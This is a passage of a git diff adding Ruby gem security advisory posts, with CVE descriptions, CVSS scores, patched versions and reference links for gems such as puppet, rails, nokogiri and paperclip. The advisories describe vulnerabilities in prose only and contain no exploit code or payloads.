+    - http://rhn.redhat.com/errata/RHSA-2013-1283.html
+    - http://rhn.redhat.com/errata/RHSA-2013-1284.html
+    - http://www.debian.org/security/2013/dsa-2715
+    - http://www.ubuntu.com/usn/USN-1886-1
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2013-4761.md b/advisories/_posts/2017-10-24-CVE-2013-4761.md
new file mode 100644
index 00000000..5f2677cc
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2013-4761.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2013-4761 (puppet): Puppet `resource_type` Remote Code Execution Vulnerability'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2013-4761
+  ghsa: cj43-9h3w-v976
+  url: https://www.puppet.com/security/cve/cve-2013-4761-resourcetype-remote-code-execution-vulnerability
+  title: Puppet `resource_type` Remote Code Execution Vulnerability
+  date: 2017-10-24
+  description: |
+    Unspecified vulnerability in Puppet 2.7.x before 2.7.23 and
+    3.2.x before 3.2.4, and Puppet Enterprise 2.8.x before
+    2.8.3 and 3.0.x before 3.0.1, allows remote attackers to execute
+    arbitrary Ruby programs from the master via the resource_type
+    service.
+
+    NOTE: this vulnerability can only be exploited using unspecified
+    "local file system access" to the Puppet Master.
+  cvss_v2: 5.1
+  unaffected_versions:
+  - "< 2.7.0"
+  patched_versions:
+  - "~> 2.7.23"
+  - ">= 3.2.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-4761
+    - https://www.puppet.com/security/cve/cve-2013-4761-resourcetype-remote-code-execution-vulnerability
+    - https://github.com/advisories/GHSA-cj43-9h3w-v976
+    - http://lists.opensuse.org/opensuse-security-announce/2014-01/msg00009.html
+    - http://rhn.redhat.com/errata/RHSA-2013-1283.html
+    - http://rhn.redhat.com/errata/RHSA-2013-1284.html
+    - http://www.debian.org/security/2013/dsa-2761
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2014-0081.md b/advisories/_posts/2017-10-24-CVE-2014-0081.md
new file mode 100644
index 00000000..cbdc5159
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2014-0081.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2014-0081 (rails): Rails vulnerable to Cross-site Scripting'
+comments: false
+categories:
+- rails
+advisory:
+  gem: rails
+  cve: 2014-0081
+  ghsa: m46p-ggm5-5j83
+  url: https://github.com/rails/rails/commit/08d0a11a3f62718d601d39e617c834759cf59bbb
+  title: Rails vulnerable to Cross-site Scripting
+  date: 2017-10-24
+  description: |
+    Multiple cross-site scripting (XSS) vulnerabilities in
+    "actionview/lib/action_view/helpers/number_helper.rb"
+    in Ruby on Rails before 3.2.17, 4.0.x before 4.0.3, and 4.1.x before 4.1.0.beta2
+    allow remote attackers to inject arbitrary web script or HTML via the
+    (1) format, (2) negative_format, or (3) units parameter to the
+    (a) number_to_currency, (b) number_to_percentage, or (c) number_to_human helper.
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 3.2.17"
+  - "~> 4.0.3"
+  - "~> 4.1.0.beta2"
+  - ">= 4.1.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-0081
+    - http://lists.opensuse.org/opensuse-updates/2014-02/msg00081.html
+    - http://openwall.com/lists/oss-security/2014/02/18/8
+    - http://rhn.redhat.com/errata/RHSA-2014-0215.html
+    - http://rhn.redhat.com/errata/RHSA-2014-0306.html
+    - https://web.archive.org/web/20140911141416/http://www.securitytracker.com/id/1029782
+    - https://web.archive.org/web/20170307202606/http://www.securityfocus.com/bid/65647
+    - https://github.com/advisories/GHSA-m46p-ggm5-5j83
+    - https://github.com/rails/rails/commit/08d0a11a3f62718d601d39e617c834759cf59bbb
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2014-3248.md b/advisories/_posts/2017-10-24-CVE-2014-3248.md
new file mode 100644
index 00000000..0c790ee0
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2014-3248.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2014-3248 (puppet): Moderate severity vulnerability that affects facter,
+  hiera, mcollective-client, and puppet'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2014-3248
+  ghsa: 92v7-pq4h-58j5
+  url: https://github.com/advisories/GHSA-92v7-pq4h-58j5
+  title: Moderate severity vulnerability that affects facter, hiera, mcollective-client,
+    and puppet
+  date: 2017-10-24
+  description: |
+    Untrusted search path vulnerability in Puppet Enterprise 2.8 before 2.8.7,
+    Puppet before 2.7.26 and 3.x before 3.6.2, Facter 1.6.x and 2.x before 2.0.2, Hiera
+    before 1.3.4, and Mcollective before 2.5.2, when running with Ruby 1.9.1 or earlier,
+    allows local users to gain privileges via a Trojan horse file in the current working
+    directory, as demonstrated using (1) rubygems/defaults/operating_system.rb, (2)
+    Win32API.rb, (3) Win32API.so, (4) safe_yaml.rb, (5) safe_yaml/deep.rb, or (6) safe_yaml/deep.so;
+    or (7) operatingsystem.rb, (8) operatingsystem.so, (9) osfamily.rb, or (10) osfamily.so
+    in puppet/confine.
+  patched_versions:
+  - "~> 2.7.26"
+  - ">= 3.6.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-3248
+    - https://github.com/advisories/GHSA-92v7-pq4h-58j5
+    - http://puppetlabs.com/security/cve/cve-2014-3248
+    - http://rowediness.com/2014/06/13/cve-2014-3248-a-little-problem-with-puppet/
+    - http://secunia.com/advisories/59197
+    - http://secunia.com/advisories/59200
+    - http://www.securityfocus.com/bid/68035
+    - https://github.com/rubysec/ruby-advisory-db/issues/238
+    - https://sca.analysiscenter.veracode.com/vulnerability-database/security/elevation-privileges-untrusted-search/ruby/sid-1586/summary
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2016-7798.md b/advisories/_posts/2017-10-24-CVE-2016-7798.md
new file mode 100644
index 00000000..9e486411
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2016-7798.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2016-7798 (openssl): Incorrect handling of initialization vector in the
+  GCM mode in OpenSSL'
+comments: false
+categories:
+- openssl
+advisory:
+  gem: openssl
+  cve: 2016-7798
+  ghsa: 6h88-qjpv-p32m
+  url: https://github.com/ruby/openssl/issues/49
+  title: Incorrect handling of initialization vector in the GCM mode in OpenSSL
+  date: 2017-10-24
+  description: |
+    The openssl gem for Ruby uses the same initialization vector (IV) in
+    GCM Mode (aes-*-gcm) when the IV is set before the key, which makes it easier for
+    context-dependent attackers to bypass the encryption protection mechanism.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.0.0"
+---
diff --git a/advisories/_posts/2017-10-27-CVE-2017-15928.md b/advisories/_posts/2017-10-27-CVE-2017-15928.md
new file mode 100644
index 00000000..4813a1a5
--- /dev/null
+++ b/advisories/_posts/2017-10-27-CVE-2017-15928.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2017-15928 (ox): ox ruby gem segmentation fault via parse_obj'
+comments: false
+categories:
+- ox
+advisory:
+  gem: ox
+  cve: 2017-15928
+  ghsa: pjj4-w39g-pw54
+  url: https://github.com/ohler55/ox/issues/194
+  title: ox ruby gem segmentation fault via parse_obj
+  date: 2017-10-27
+  description: |
+    In the Ox gem 2.8.0 for Ruby, the process crashes with a segmentation
+    fault when a crafted input is supplied to parse_obj. NOTE: the vendor has stated
+    "Ox should handle the error more gracefully" but has not confirmed a security implication.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.8.1"
+---
diff --git a/advisories/_posts/2017-10-29-CVE-2017-16229.md b/advisories/_posts/2017-10-29-CVE-2017-16229.md
new file mode 100644
index 00000000..68f21a81
--- /dev/null
+++ b/advisories/_posts/2017-10-29-CVE-2017-16229.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2017-16229 (ox): ox ruby gem stack overflow in sax_parse'
+comments: false
+categories:
+- ox
+advisory:
+  gem: ox
+  cve: 2017-16229
+  ghsa: wfwm-chj7-w59r
+  url: https://github.com/ohler55/ox/issues/195
+  title: ox ruby gem stack overflow in sax_parse
+  date: 2017-10-29
+  description: |
+    In the Ox gem 2.8.1 for Ruby, the process crashes with a stack-based
+    buffer over-read in the read_from_str function in sax_buf.c when a crafted input
+    is supplied to sax_parse.
+  cvss_v2: 4.3
+  cvss_v3: 5.5
+  patched_versions:
+  - ">= 2.8.2"
+---
diff --git a/advisories/_posts/2017-11-03-CVE-2017-16516.md b/advisories/_posts/2017-11-03-CVE-2017-16516.md
new file mode 100644
index 00000000..1dd97686
--- /dev/null
+++ b/advisories/_posts/2017-11-03-CVE-2017-16516.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2017-16516 (yajl-ruby): Flaw in yajl-ruby gem may cause a DoS'
+comments: false
+categories:
+- yajl-ruby
+advisory:
+  gem: yajl-ruby
+  cve: 2017-16516
+  ghsa: wwh7-4jw9-33x6
+  url: https://nvd.nist.gov/vuln/detail/CVE-2017-16516
+  title: Flaw in yajl-ruby gem may cause a DoS
+  date: 2017-11-03
+  description: |
+    In the yajl-ruby gem 1.3.0 for Ruby, when a crafted JSON file is supplied to
+    Yajl::Parser.new.parse, the whole ruby process crashes with a SIGABRT in the
+    yajl_string_decode function in yajl_encode.c. This results in the whole ruby
+    process terminating and potentially a denial of service.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.3.1"
+  related:
+    url:
+    - https://github.com/brianmario/yajl-ruby/issues/176
+---
diff --git a/advisories/_posts/2017-11-07-CVE-2017-0904.md b/advisories/_posts/2017-11-07-CVE-2017-0904.md
new file mode 100644
index 00000000..accb7d96
--- /dev/null
+++ b/advisories/_posts/2017-11-07-CVE-2017-0904.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2017-0904 (private_address_check): private_address_check Ruby Gem Resolv.getaddresses
+  Server-Side Request Forgery'
+comments: false
+categories:
+- private_address_check
+advisory:
+  gem: private_address_check
+  cve: 2017-0904
+  ghsa: hxhj-hp9m-qwc4
+  url: https://github.com/jtdowney/private_address_check/issues/1
+  title: private_address_check Ruby Gem Resolv.getaddresses Server-Side Request Forgery
+  date: 2017-11-07
+  description: |
+    The private_address_check ruby gem before 0.4.0 is vulnerable to a bypass due to use of Ruby's
+    Resolv.getaddresses method, which is OS-dependent and should not be relied upon for security
+    measures, such as when used to blacklist private network addresses to prevent server-side
+    request forgery.
+  cvss_v2: 6.8
+  cvss_v3: 8.1
+  patched_versions:
+  - ">= 0.4.0"
+---
diff --git a/advisories/_posts/2017-11-09-CVE-2017-0905.md b/advisories/_posts/2017-11-09-CVE-2017-0905.md
new file mode 100644
index 00000000..ccd5f5a2
--- /dev/null
+++ b/advisories/_posts/2017-11-09-CVE-2017-0905.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2017-0905 (recurly): SSRF vulnerability in Recurly gem''s Resource#find.'
+comments: false
+categories:
+- recurly
+advisory:
+  gem: recurly
+  cve: 2017-0905
+  ghsa: x27v-x225-gq8g
+  url: https://github.com/recurly/recurly-client-ruby/commit/1bb0284d6e668b8b3d31167790ed6db1f6ccc4be
+  title: SSRF vulnerability in Recurly gem's Resource#find.
+  date: 2017-11-09
+  description: |
+    If you are using the #find method on any of the classes that are derived from
+    the Resource class and you are passing user input into that method, a
+    malicious user can force the http client to reach out to a server under their
+    control. This can lead to leakage of your private API key.
+
+    Because of the severity of impact, we are recommending that all users upgrade
+    to a patched version. We have provided a non-breaking patch for every 2.X
+    version of the client.
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 2.0.13"
+  - "~> 2.1.11"
+  - "~> 2.2.5"
+  - "~> 2.3.10"
+  - "~> 2.4.11"
+  - "~> 2.5.3"
+  - "~> 2.6.3"
+  - "~> 2.7.8"
+  - "~> 2.8.2"
+  - "~> 2.9.2"
+  - "~> 2.10.4"
+  - "~> 2.11.3"
+  - ">= 2.12.0"
+---
diff --git a/advisories/_posts/2017-11-09-CVE-2017-0909.md b/advisories/_posts/2017-11-09-CVE-2017-0909.md
new file mode 100644
index 00000000..4d1a18df
--- /dev/null
+++ b/advisories/_posts/2017-11-09-CVE-2017-0909.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2017-0909 (private_address_check): private_address_check Ruby Gem Blacklist
+  Bypass privilege escalation'
+comments: false
+categories:
+- private_address_check
+advisory:
+  gem: private_address_check
+  cve: 2017-0909
+  ghsa: 3v3c-r5v2-68ph
+  url: https://github.com/jtdowney/private_address_check/pull/3
+  title: private_address_check Ruby Gem Blacklist Bypass privilege escalation
+  date: 2017-11-09
+  description: |
+    The private_address_check ruby gem before 0.4.1 is vulnerable to a bypass due to an incomplete
+    blacklist of common private/local network addresses used to prevent server-side request forgery.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 0.4.1"
+---
diff --git a/advisories/_posts/2017-11-10-CVE-2017-16792.md b/advisories/_posts/2017-11-10-CVE-2017-16792.md
new file mode 100644
index 00000000..f7bb8449
--- /dev/null
+++ b/advisories/_posts/2017-11-10-CVE-2017-16792.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2017-16792 (geminabox): Stored XSS in "geminabox" via injection in Gemspec
+  "homepage" value'
+comments: false
+categories:
+- geminabox
+advisory:
+  gem: geminabox
+  cve: 2017-16792
+  ghsa: 653m-r33x-39ff
+  url: https://github.com/geminabox/geminabox/blob/master/CHANGELOG.md#01310-2017-11-13
+  title: Stored XSS in "geminabox" via injection in Gemspec "homepage" value
+  date: 2017-11-10
+  description: |
+    Stored cross-site scripting (XSS) vulnerability in "geminabox" (Gem
+    in a Box) allows attackers to inject arbitrary web script via a crafted
+    JavaScript URL in the "homepage" value of a ".gemspec" file.
+
+    A ".gemspec" file must be created with a JavaScript URL in the homepage
+    value. This can be used to build a gem for upload to the Geminabox server,
+    in order to achieve stored XSS via the gem hyperlink.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 0.13.10"
+  related:
+    url:
+    - https://github.com/geminabox/geminabox/commit/f8429a9e364658459add170e4ebc7a5d3b4759e7
+    - https://github.com/geminabox/geminabox/commit/e7e0b16147677e9029f0b55eff6bc6dda52398d4
+---
diff --git a/advisories/_posts/2017-11-15-CVE-2017-7475.md b/advisories/_posts/2017-11-15-CVE-2017-7475.md
new file mode 100644
index 00000000..16ccd90e
--- /dev/null
+++ b/advisories/_posts/2017-11-15-CVE-2017-7475.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2017-7475 (cairo): cairo NULL pointer dereference'
+comments: false
+categories:
+- cairo
+advisory:
+  gem: cairo
+  cve: 2017-7475
+  ghsa: 5v3f-73gv-x7x5
+  url: https://bugs.freedesktop.org/show_bug.cgi?id=100763
+  date: 2017-11-15
+  title: cairo NULL pointer dereference
+  description: |
+    Cairo version 1.15.4 is vulnerable to a NULL pointer dereference related
+    to the FT_Load_Glyph and FT_Render_Glyph resulting in an application crash.
+  cvss_v3: 5.5
+  patched_versions:
+  - ">= 1.15.5"
+---
diff --git a/advisories/_posts/2017-11-16-CVE-2014-9489.md b/advisories/_posts/2017-11-16-CVE-2014-9489.md
new file mode 100644
index 00000000..a0358288
--- /dev/null
+++ b/advisories/_posts/2017-11-16-CVE-2014-9489.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2014-9489 (gollum): gollum and gollum-lib allow remote authenticated users
+  to execute arbitrary code'
+comments: false
+categories:
+- gollum
+advisory:
+  gem: gollum
+  cve: 2014-9489
+  ghsa: q97v-764g-r2rp
+  url: https://github.com/gollum/gollum/issues/913
+  title: gollum and gollum-lib allow remote authenticated users to execute arbitrary
+    code
+  date: 2017-11-16
+  description: |
+    The gollum-grit_adapter Ruby gem dependency in gollum before 3.1.1 and
+    the gollum-lib gem dependency in gollum-lib before 4.0.1 when the string `master`
+    is in any of the wiki documents, allows remote authenticated users to execute arbitrary
+    code via the `-O` or `--open-files-in-pager` flags.
+  cvss_v2: 6.5
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 3.1.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-9489
+    - https://github.com/gollum/gollum/issues/913
+    - https://github.com/gollum/grit_adapter/commit/4520d973c81fecfebbeacd2ef2f1849d763951c7
+    - http://www.openwall.com/lists/oss-security/2015/01/03/19
+    - https://web.archive.org/web/20200229041306/http://www.securityfocus.com/bid/71499
+    - https://github.com/advisories/GHSA-q97v-764g-r2rp
+---
diff --git a/advisories/_posts/2017-11-16-CVE-2017-1000248.md b/advisories/_posts/2017-11-16-CVE-2017-1000248.md
new file mode 100644
index 00000000..8c4e487a
--- /dev/null
+++ b/advisories/_posts/2017-11-16-CVE-2017-1000248.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2017-1000248 (redis-store): Unsafe objects can be loaded from Redis'
+comments: false
+categories:
+- redis-store
+advisory:
+  gem: redis-store
+  cve: 2017-1000248
+  ghsa: 2w67-526p-gm73
+  url: https://github.com/redis-store/redis-store/commit/ce13252c26fcc40ed4935c9abfeb0ee0761e5704
+  title: Unsafe objects can be loaded from Redis
+  date: 2017-11-16
+  description: |
+    Redis-store <=v1.3.0 allows unsafe objects to be loaded from Redis via the
+    use of the Marshal serializer.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.4.0"
+---
diff --git a/advisories/_posts/2017-11-28-CVE-2017-17042.md b/advisories/_posts/2017-11-28-CVE-2017-17042.md
new file mode 100644
index 00000000..e9481d4a
--- /dev/null
+++ b/advisories/_posts/2017-11-28-CVE-2017-17042.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2017-17042 (yard): Potential arbitrary file read vulnerability in yard
+  server'
+comments: false
+categories:
+- yard
+advisory:
+  gem: yard
+  cve: 2017-17042
+  ghsa: gj4p-3wh3-2rmf
+  url: https://nvd.nist.gov/vuln/detail/CVE-2017-17042
+  title: Potential arbitrary file read vulnerability in yard server
+  date: 2017-11-28
+  description: |
+    lib/yard/core_ext/file.rb in the server in YARD before 0.9.11 does not block
+    relative paths with an initial ../ sequence, which allows attackers to conduct
+    directory traversal attacks and read arbitrary files.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.9.11"
+---
diff --git a/advisories/_posts/2017-12-17-CVE-2017-17718.md b/advisories/_posts/2017-12-17-CVE-2017-17718.md
new file mode 100644
index 00000000..6a9e0f01
--- /dev/null
+++ b/advisories/_posts/2017-12-17-CVE-2017-17718.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2017-17718 (net-ldap): No validation of hostname certificate in net-ldap'
+comments: false
+categories:
+- net-ldap
+advisory:
+  gem: net-ldap
+  cve: 2017-17718
+  ghsa: m7p8-9w66-9frm
+  url: https://github.com/ruby-ldap/ruby-net-ldap/issues/258
+  title: No validation of hostname certificate in net-ldap
+  date: 2017-12-17
+  description: |
+    The Net::LDAP (aka net-ldap) gem before 0.16.0 for Ruby has Missing SSL
+    Certificate Validation. The LDAP server's certificate was not verified
+    to match the host it was supposed to be connecting to.
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 0.16.0"
+  related:
+    url:
+    - https://github.com/ruby-ldap/ruby-net-ldap/pull/279
+    - https://github.com/ruby-ldap/ruby-net-ldap/commit/e4c46a223a19feda78393a793711353aa1febdcd
+---
diff --git a/advisories/_posts/2018-01-04-CVE-2018-5216.md b/advisories/_posts/2018-01-04-CVE-2018-5216.md
new file mode 100644
index 00000000..a4e24423
--- /dev/null
+++ b/advisories/_posts/2018-01-04-CVE-2018-5216.md
@@ -0,0 +1,21 @@
+---
+layout: advisory
+title: 'CVE-2018-5216 (radiant): Radiant CMS 1.1.4 Markdown admin/pages/*/edit part_body_content
+  cross site scripting'
+comments: false
+categories:
+- radiant
+advisory:
+  gem: radiant
+  cve: 2018-5216
+  ghsa: mvw8-v767-qhjm
+  url: https://github.com/imsebao/404team/blob/master/radiantcms.md
+  title: Radiant CMS 1.1.4 Markdown admin/pages/*/edit part_body_content cross site
+    scripting
+  date: 2018-01-04
+  description: |
+    Radiant CMS 1.1.4 has XSS via crafted Markdown input in the part_body_content
+    parameter to an admin/pages/*/edit resource.
+  cvss_v2: 3.5
+  cvss_v3: 5.4
+---
diff --git a/advisories/_posts/2018-01-09-CVE-2018-7212.md b/advisories/_posts/2018-01-09-CVE-2018-7212.md
new file mode 100644
index 00000000..6e4227f1
--- /dev/null
+++ b/advisories/_posts/2018-01-09-CVE-2018-7212.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2018-7212 (sinatra): sinatra ruby gem path traversal via backslash characters
+  on Windows'
+comments: false
+categories:
+- sinatra
+advisory:
+  gem: sinatra
+  cve: 2018-7212
+  ghsa: h29f-7f56-j8wh
+  url: https://github.com/sinatra/sinatra/pull/1379
+  title: sinatra ruby gem path traversal via backslash characters on Windows
+  date: 2018-01-09
+  description: |
+    An issue was discovered in rack-protection/lib/rack/protection/path_traversal.rb
+    in Sinatra 2.x before 2.0.1 on Windows. Path traversal is possible via backslash
+    characters.
+  cvss_v2: 5.0
+  cvss_v3: 5.3
+  unaffected_versions:
+  - "< 2.0.0"
+  patched_versions:
+  - ">= 2.0.1"
+---
diff --git a/advisories/_posts/2018-01-10-CVE-2017-12097.md b/advisories/_posts/2018-01-10-CVE-2017-12097.md
new file mode 100644
index 00000000..ffba802f
--- /dev/null
+++ b/advisories/_posts/2018-01-10-CVE-2017-12097.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2017-12097 (delayed_job_web): delayed_job_web ruby gem XSS vulnerability
+  via `queues` parameter'
+comments: false
+categories:
+- delayed_job_web
+advisory:
+  gem: delayed_job_web
+  cve: 2017-12097
+  ghsa: w7q9-xr2x-wh7x
+  url: https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0449
+  title: delayed_job_web ruby gem XSS vulnerability via `queues` parameter
+  date: 2018-01-10
+  description: |
+    An exploitable cross site scripting (XSS) vulnerability exists in the
+    filter functionality of the delayed_job_web ruby gem. A specially crafted
+    URL can cause an XSS flaw resulting in an attacker being able to execute arbitrary
+    javascript on the victim's browser. An attacker can phish an authenticated user
+    to trigger this vulnerability.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.4.2"
+---
diff --git a/advisories/_posts/2018-01-10-CVE-2017-12098.md b/advisories/_posts/2018-01-10-CVE-2017-12098.md
new file mode 100644
index 00000000..f904a7c1
--- /dev/null
+++ b/advisories/_posts/2018-01-10-CVE-2017-12098.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2017-12098 (rails_admin): rails_admin ruby gem XSS vulnerability'
+comments: false
+categories:
+- rails_admin
+advisory:
+  gem: rails_admin
+  cve: 2017-12098
+  ghsa: pxr8-w3jq-rcwj
+  url: https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0450
+  title: rails_admin ruby gem XSS vulnerability
+  date: 2018-01-10
+  description: |
+    An exploitable cross site scripting (XSS) vulnerability exists in the
+    add filter functionality of the rails_admin rails gem version 1.2.0. A specially
+    crafted URL can cause an XSS flaw resulting in an attacker being able to execute
+    arbitrary javascript on the victim's browser. An attacker can phish an authenticated
+    user to trigger this vulnerability.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.3.0"
+  related:
+    url:
+    - https://github.com/sferik/rails_admin/issues/2985
+---
diff --git a/advisories/_posts/2018-01-18-CVE-2016-10707.md b/advisories/_posts/2018-01-18-CVE-2016-10707.md
new file mode 100644
index 00000000..6191c005
--- /dev/null
+++ b/advisories/_posts/2018-01-18-CVE-2016-10707.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2016-10707 (jquery-rails): Denial of Service in jquery'
+comments: false
+categories:
+- jquery-rails
+advisory:
+  gem: jquery-rails
+  cve: 2016-10707
+  ghsa: mhpp-875w-9cpv
+  url: https://nvd.nist.gov/vuln/detail/CVE-2016-10707
+  title: Denial of Service in jquery
+  date: 2018-01-18
+  description: |
+    Affected versions of `jquery` use a lowercasing logic on attribute
+    names. When given a boolean attribute with a name that contains
+    uppercase characters, `jquery` enters into an infinite recursion
+    loop, exceeding the call stack limit, and resulting in a denial
+    of service condition.
+
+    ## Recommendation
+
+    Update to version 3.0.0 or later.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 3.0.0-rc.1"
+  patched_versions:
+  - ">= 3.0.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2016-10707
+    - https://github.com/advisories/GHSA-mhpp-875w-9cpv
+    - https://github.com/jquery/jquery/issues/3133
+    - https://github.com/jquery/jquery/issues/3133#issuecomment-358978489
+    - https://www.npmjs.com/advisories/330
+    - https://github.com/jquery/jquery/pull/3134
+    - https://snyk.io/vuln/npm:jquery:20160529
+---
diff --git a/advisories/_posts/2018-01-22-CVE-2015-9251.md b/advisories/_posts/2018-01-22-CVE-2015-9251.md
new file mode 100644
index 00000000..69c964f1
--- /dev/null
+++ b/advisories/_posts/2018-01-22-CVE-2015-9251.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2015-9251 (jquery-rails): Cross-Site Scripting (XSS) in jquery'
+comments: false
+categories:
+- jquery-rails
+- rails
+advisory:
+  gem: jquery-rails
+  framework: rails
+  cve: 2015-9251
+  ghsa: rmxg-73gg-4p98
+  url: https://github.com/rails/jquery-rails/releases/tag/v4.2.0
+  title: Cross-Site Scripting (XSS) in jquery
+  date: 2018-01-22
+  description: |
+    Affected versions of `jquery` interpret `text/javascript` responses
+    from cross-origin ajax requests, and automatically execute the
+    contents in `jQuery.globalEval`, even when the ajax request
+    doesn't contain the `dataType` option.
+  cvss_v2: 6.1
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 4.2.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-9251
+    - https://github.com/rails/jquery-rails/releases/tag/v4.2.0
+    - https://github.com/rails/jquery-rails/blob/master/CHANGELOG.md#420
+    - https://github.com/rails/jquery-rails/blob/v4.2.0/vendor/assets/javascripts/jquery3.js#L9377
+    - https://github.com/advisories/GHSA-rmxg-73gg-4p98
+---
diff --git a/advisories/_posts/2018-01-23-CVE-2017-0889.md b/advisories/_posts/2018-01-23-CVE-2017-0889.md
new file mode 100644
index 00000000..c6bb39f9
--- /dev/null
+++ b/advisories/_posts/2018-01-23-CVE-2017-0889.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2017-0889 (paperclip): Paperclip ruby gem suffers from a Server-Side Request
+  Forgery (SSRF) vulnerability in the Paperclip::UriAdapter and Paperclip::HttpUrlProxyAdapter
+  class.'
+comments: false
+categories:
+- paperclip
+advisory:
+  gem: paperclip
+  cve: 2017-0889
+  ghsa: 5jcf-c5rg-rmm8
+  url: https://github.com/thoughtbot/paperclip/pull/2435
+  title: Paperclip ruby gem suffers from a Server-Side Request Forgery (SSRF) vulnerability
+    in the Paperclip::UriAdapter and Paperclip::HttpUrlProxyAdapter class.
+  date: 2018-01-23
+  description: |
+    Paperclip gem provides multiple ways a file can be uploaded to a web server.
+    The vulnerability affects two of Paperclip’s IO adapters that accept URLs as
+    attachment data (UriAdapter and HttpUrlProxyAdapter). When these adapters are
+    used, Paperclip acts as a proxy and downloads the file from the website URI
+    that is passed in. The library does not perform any validation to protect
+    against Server Side Request Forgery (SSRF) exploits by default. This may allow
+    a remote attacker to access information about internal network resources.
+  cvss_v2: 7.5
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 5.2.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-0889
+    - https://github.com/thoughtbot/paperclip/commit/4ebedfbd11d20d03ed03a1274ed281eee62715d4
+---
diff --git a/advisories/_posts/2018-01-29-CVE-2017-15412.md b/advisories/_posts/2018-01-29-CVE-2017-15412.md
new file mode 100644
index 00000000..89225cbe
--- /dev/null
+++ b/advisories/_posts/2018-01-29-CVE-2017-15412.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2017-15412 (nokogiri): Nokogiri gem, via libxml, is affected by DoS vulnerabilities'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2017-15412
+  ghsa: r58r-74gx-6wx3
+  url: https://github.com/sparklemotion/nokogiri/issues/1714
+  title: Nokogiri gem, via libxml, is affected by DoS vulnerabilities
+  date: 2018-01-29
+  description: |
+    The version of libxml2 packaged with Nokogiri contains a
+    vulnerability. Nokogiri has mitigated these issue by upgrading to
+    libxml 2.9.6.
+
+    It was discovered that libxml2 incorrecty handled certain files. An attacker
+    could use this issue with specially constructed XML data to cause libxml2 to
+    consume resources, leading to a denial of service.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 1.8.2"
+  related:
+    cve:
+    - 2017-18258
+    url:
+    - https://usn.ubuntu.com/usn/usn-3513-1/
+    - https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-15412.html
+---
diff --git a/advisories/_posts/2018-01-29-CVE-2017-16932.md b/advisories/_posts/2018-01-29-CVE-2017-16932.md
new file mode 100644
index 00000000..dc965339
--- /dev/null
+++ b/advisories/_posts/2018-01-29-CVE-2017-16932.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2017-16932 (nokogiri): Nokogiri gem, via libxml, is affected by DoS vulnerabilities'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
